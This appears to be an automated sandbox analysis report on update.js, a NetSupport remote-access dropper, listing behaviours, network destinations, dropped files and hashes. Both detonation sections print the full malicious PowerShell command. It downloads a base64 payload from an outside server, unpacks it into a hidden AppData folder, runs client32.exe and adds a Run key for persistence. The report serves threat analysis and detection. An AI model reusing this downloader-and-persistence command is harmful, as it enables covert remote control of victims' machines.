Analysis Overview
SHA256
2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3
Threat Level: Known bad
The file update.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-24 13:26
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-24 13:26
Reported
2024-01-24 13:28
Platform
win7-20231215-en
Max time kernel
120s
Max time network
123s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1096 wrote to memory of 3044 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1096 wrote to memory of 3044 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1096 wrote to memory of 3044 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | boxtechcompany.com | udp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
Files
memory/3044-4-0x000000001B280000-0x000000001B562000-memory.dmp
memory/3044-5-0x0000000002200000-0x0000000002208000-memory.dmp
memory/3044-6-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
memory/3044-7-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/3044-8-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
memory/3044-9-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/3044-10-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/3044-11-0x00000000028F0000-0x0000000002970000-memory.dmp
memory/3044-12-0x000007FEF58A0000-0x000007FEF623D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-24 13:26
Reported
2024-01-24 13:28
Platform
win10v2004-20231215-en
Max time kernel
148s
Max time network
156s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-181\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2836 wrote to memory of 5072 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2836 wrote to memory of 5072 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5072 wrote to memory of 4788 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe |
| PID 5072 wrote to memory of 4788 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe |
| PID 5072 wrote to memory of 4788 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | boxtechcompany.com | udp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
| US | 8.8.8.8:53 | 160.224.127.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| NL | 81.19.137.226:443 | tcp | |
| US | 8.8.8.8:53 | 226.137.19.81.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 114.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 210.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.171.91.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 173.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.173.189.20.in-addr.arpa | udp |
Files
memory/5072-0-0x000001FE64690000-0x000001FE646B2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ndbnqoke.szy.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5072-10-0x00007FFC46A30000-0x00007FFC474F1000-memory.dmp
memory/5072-11-0x000001FE646E0000-0x000001FE646F0000-memory.dmp
memory/5072-12-0x000001FE646E0000-0x000001FE646F0000-memory.dmp
memory/5072-14-0x000001FE66B10000-0x000001FE66B1A000-memory.dmp
memory/5072-15-0x000001FE66B40000-0x000001FE66B52000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-181\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-181\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\Users\Admin\AppData\Roaming\DIVX-181\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-181\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-181\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
memory/5072-82-0x00007FFC46A30000-0x00007FFC474F1000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-181\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX-181\client32.ini
| MD5 | 5d5a682d300dd44ec669829d77790b31 |
| SHA1 | 9a124709f1a17f18b61179bfed6797df13e387a2 |
| SHA256 | 22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8 |
| SHA512 | beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7 |
C:\Users\Admin\AppData\Roaming\DIVX-181\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |